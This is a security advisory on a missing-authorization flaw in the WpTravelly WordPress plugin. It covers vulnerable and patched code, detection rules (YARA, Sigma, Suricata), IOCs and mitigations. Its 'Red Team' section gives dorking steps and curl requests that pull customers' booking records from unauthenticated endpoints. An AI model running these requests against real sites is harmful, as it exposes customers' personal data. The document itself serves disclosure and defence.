CVE-2025-22737

Executive Summary

CVE-2025-22737 is a Missing Authorization vulnerability in the WpTravelly WordPress plugin (slug: tour-booking-manager) developed by magepeopleteam. This flaw allows unauthenticated attackers to access backend functionality that should be restricted by Access Control Lists (ACLs). The vulnerability affects all versions up to and including 1.8.5. With a CVSS score of 5.3 (Medium), the primary impact is unauthorized information disclosure, though chained with other flaws it could lead to privilege escalation or data manipulation. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. This is a WordPress ecosystem issue; the vulnerability resides in the plugin's AJAX handlers and REST endpoints that fail to enforce capability checks.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing backdoored versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but only yields low confidentiality impact. However, in combination with other vulnerabilities (e.g., SQLi or XSS), it could be leveraged for more severe attacks.

Deep Dive & Mechanics

The WpTravelly plugin registers several AJAX actions and REST API endpoints for managing tours, bookings, and customer data. Due to missing current_user_can() checks or nonce verification, these endpoints are accessible to unauthenticated users. Specifically, the plugin's includes/class-ajax.php and includes/class-rest-api.php files contain functions like wp_travelly_get_bookings, wp_travelly_update_tour, and wp_travelly_delete_booking that lack proper authorization.

An attacker can directly call these endpoints via HTTP POST/GET requests to:

• Retrieve all booking records (including customer names, emails, phone numbers).
• Access tour configuration details.
• Potentially modify or delete data if the endpoint allows write operations without checks.

The vulnerability is triggered by sending a crafted request to /wp-admin/admin-ajax.php with the appropriate action parameter, or by calling the REST API endpoint /wp-json/wptravelly/v1/....

Vulnerable vs. Patched Code

Vulnerable Code (version 1.8.5):

// includes/class-ajax.php
add_action('wp_ajax_nopriv_wp_travelly_get_bookings', 'wp_travelly_get_bookings');
function wp_travelly_get_bookings() {
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wptravelly_bookings");
    wp_send_json($results);
}

The wp_ajax_nopriv_ hook allows unauthenticated access, and no capability check is performed.

Patched Code (hypothetical):

add_action('wp_ajax_wp_travelly_get_bookings', 'wp_travelly_get_bookings');
function wp_travelly_get_bookings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wptravelly_bookings");
    wp_send_json($results);
}

The patched version removes the nopriv hook and adds a capability check.

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Identify WordPress sites using the plugin via Shodan dorks or Google dorking (inurl:/wp-content/plugins/tour-booking-manager/).
2. Exploit: Send a GET request to the vulnerable endpoint:

   curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=wp_travelly_get_bookings"
   

   Or via REST API:

   curl -X GET "http://target.com/wp-json/wptravelly/v1/bookings"
   

3. Data Extraction: The response will contain JSON with booking details. Use jq to parse:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=wp_travelly_get_bookings" | jq '.'
   

Blue Team

1. Detection: Monitor for unusual access to admin-ajax.php with action parameters containing wp_travelly_ from unauthenticated sources.
2. Honeypot: Deploy a fake endpoint that logs attacker IPs and user-agents.
3. Blocking: Use a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-ajax.php with action=wp_travelly_* unless from authenticated users.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=wp_travelly_get_bookings or similar.
  • HTTP requests to /wp-json/wptravelly/v1/ endpoints.
• File System:
  • Modified plugin files in /wp-content/plugins/tour-booking-manager/.
  • Unexpected log files containing booking data.
• Logs:
  • WordPress debug log entries showing wp_travelly_ function calls.
  • Web server access logs with 200 responses to the above endpoints from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_22737_WpTravelly_Missing_Auth {
    meta:
        description = "Detects WpTravelly plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22737"
    strings:
        $ajax_hook = "wp_ajax_nopriv_wp_travelly_" ascii wide nocase
        $rest_route = "wptravelly/v1/" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22737 - WpTravelly Missing Authorization Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to WpTravelly AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "action=wp_travelly_get_bookings"
            - "action=wp_travelly_update_tour"
            - "action=wp_travelly_delete_booking"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22737 WpTravelly Missing Authorization Exploit"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_travelly_"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WpTravelly plugin until a patch is available.
2. Workaround: Add the following code to your theme's functions.php to block unauthenticated access:

   add_action('init', function() {
       if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
           $blocked_actions = ['wp_travelly_get_bookings', 'wp_travelly_update_tour'];
           if (isset($_REQUEST['action']) && in_array($_REQUEST['action'], $blocked_actions)) {
               wp_die('Unauthorized', 403);
           }
       }
   });
   

3. Long-term: Monitor the plugin's repository for updates. Consider migrating to an alternative booking plugin with active security maintenance.
4. Hardening: Implement a Web Application Firewall (WAF) with rules to block unauthenticated AJAX requests to plugin-specific endpoints.

Valters IT
DevSecOps & Cyber Threat Intelligence